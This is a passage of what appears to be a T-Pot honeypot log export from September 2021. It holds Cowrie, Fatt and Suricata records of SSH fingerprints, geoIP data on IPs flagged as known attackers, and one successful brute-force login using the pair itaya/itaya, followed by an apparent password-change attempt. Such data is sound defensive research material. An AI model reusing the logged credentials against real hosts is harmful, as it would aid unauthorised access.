"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57052, "dest_port": 22, "timestamp": "2021-09-20T11:53:52.816454", "@timestamp": "2021-09-20T11:53:52.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32927	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:52.574105+03	2021-09-20 15:00:04.097721+03	{"_id": "ugYOA3wBvYTbRNuEL0xi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57052, "timestamp": "2021-09-20T11:53:52.574105", "@timestamp": "2021-09-20T11:53:52.574Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32928	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:53.844778+03	2021-09-20 15:00:04.098723+03	{"_id": "vAYOA3wBvYTbRNuEMEzU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.success", "message": "login attempt [itaya/itaya] succeeded", "session": "373281d7e10b", "@version": "1", "password": "itaya", "username": "itaya", "timestamp": "2021-09-20T11:53:53.844778Z", "@timestamp": "2021-09-20T11:53:53.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
32929	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:54.312521+03	2021-09-20 15:00:04.099722+03	{"_id": "vQYOA3wBvYTbRNuEM0xK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57141, "timestamp": "2021-09-20T11:53:54.312521", "@timestamp": "2021-09-20T11:53:54.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32930	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:54.545331+03	2021-09-20 15:00:04.100722+03	{"_id": "ygYOA3wBvYTbRNuENEy9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "41cec716c947", "@version": "1", "timestamp": "2021-09-20T11:53:54.545331Z", "@timestamp": "2021-09-20T11:53:54.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32931	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:54.31107+03	2021-09-20 15:00:04.102722+03	{"_id": "ywYOA3wBvYTbRNuENEy9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:57141 (192.168.176.2:22) [session: 41cec716c947]", "session": "41cec716c947", "@version": "1", "protocol": "ssh", "src_port": 57141, "dest_port": 22, "timestamp": "2021-09-20T11:53:54.311070Z", "@timestamp": "2021-09-20T11:53:54.311Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32933	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:54.708141+03	2021-09-20 15:00:04.104722+03	{"_id": "0wYOA3wBvYTbRNuEN0w1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35810, "dest_port": 443, "timestamp": "2021-09-20T11:53:54.708141", "@timestamp": "2021-09-20T11:53:54.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32934	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:57.204288+03	2021-09-20 15:00:04.105723+03	{"_id": "4gYOA3wBvYTbRNuEQEx4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:57.204288Z", "@timestamp": "2021-09-20T11:53:57.204Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32935	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:58.030256+03	2021-09-20 15:00:04.106722+03	{"_id": "4wYOA3wBvYTbRNuEQEx4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:58.030256Z", "@timestamp": "2021-09-20T11:53:58.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32936	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:53:57.691166+03	2021-09-20 15:00:04.108722+03	{"_id": "5AYOA3wBvYTbRNuEQUzl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:57.691166+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 575965689646046, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37730, "timestamp": "2021-09-20T11:53:57.691166Z", "@timestamp": "2021-09-20T11:53:57.691Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32937	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:58.870347+03	2021-09-20 15:00:04.109722+03	{"_id": "9QYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:58.870347Z", "@timestamp": "2021-09-20T11:53:58.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32938	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:58.871728+03	2021-09-20 15:00:04.110722+03	{"_id": "8wYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:58.871728Z", "@timestamp": "2021-09-20T11:53:58.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32939	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:53:58.979748+03	2021-09-20 15:00:04.111722+03	{"_id": "9wYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:53:58.979748Z", "@timestamp": "2021-09-20T11:53:58.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32940	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:53:59.046779+03	2021-09-20 15:00:04.113723+03	{"_id": "-QYOA3wBvYTbRNuERUzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1683118064327521, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 58490, "dest_port": 22, "timestamp": "2021-09-20T11:53:59.046779Z", "@timestamp": "2021-09-20T11:53:59.046Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32941	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:58.875711+03	2021-09-20 15:00:04.114723+03	{"_id": "_gYOA3wBvYTbRNuERkzV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59866, "timestamp": "2021-09-20T11:53:58.875711", "@timestamp": "2021-09-20T11:53:58.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32942	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:59.340603+03	2021-09-20 15:00:04.115723+03	{"_id": "BwYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "c665526d6f0c311663544003dd9a0218b8df454ed58976257973e56aebdae9cd", "src_ip": "189.50.42.214", "ttylog": "log/tty/c665526d6f0c311663544003dd9a0218b8df454ed58976257973e56aebdae9cd", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/c665526d6f0c311663544003dd9a0218b8df454ed58976257973e56aebdae9cd after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4703395366668701, "duplicate": false, "timestamp": "2021-09-20T11:53:59.340603Z", "@timestamp": "2021-09-20T11:53:59.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32943	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:53:54.65621+03	2021-09-20 15:00:04.116722+03	{"_id": "zAYOA3wBvYTbRNuENkwr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26330, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3040, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2667012356953, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 55729, "timestamp": "2021-09-20T11:53:54.656210Z", "@timestamp": 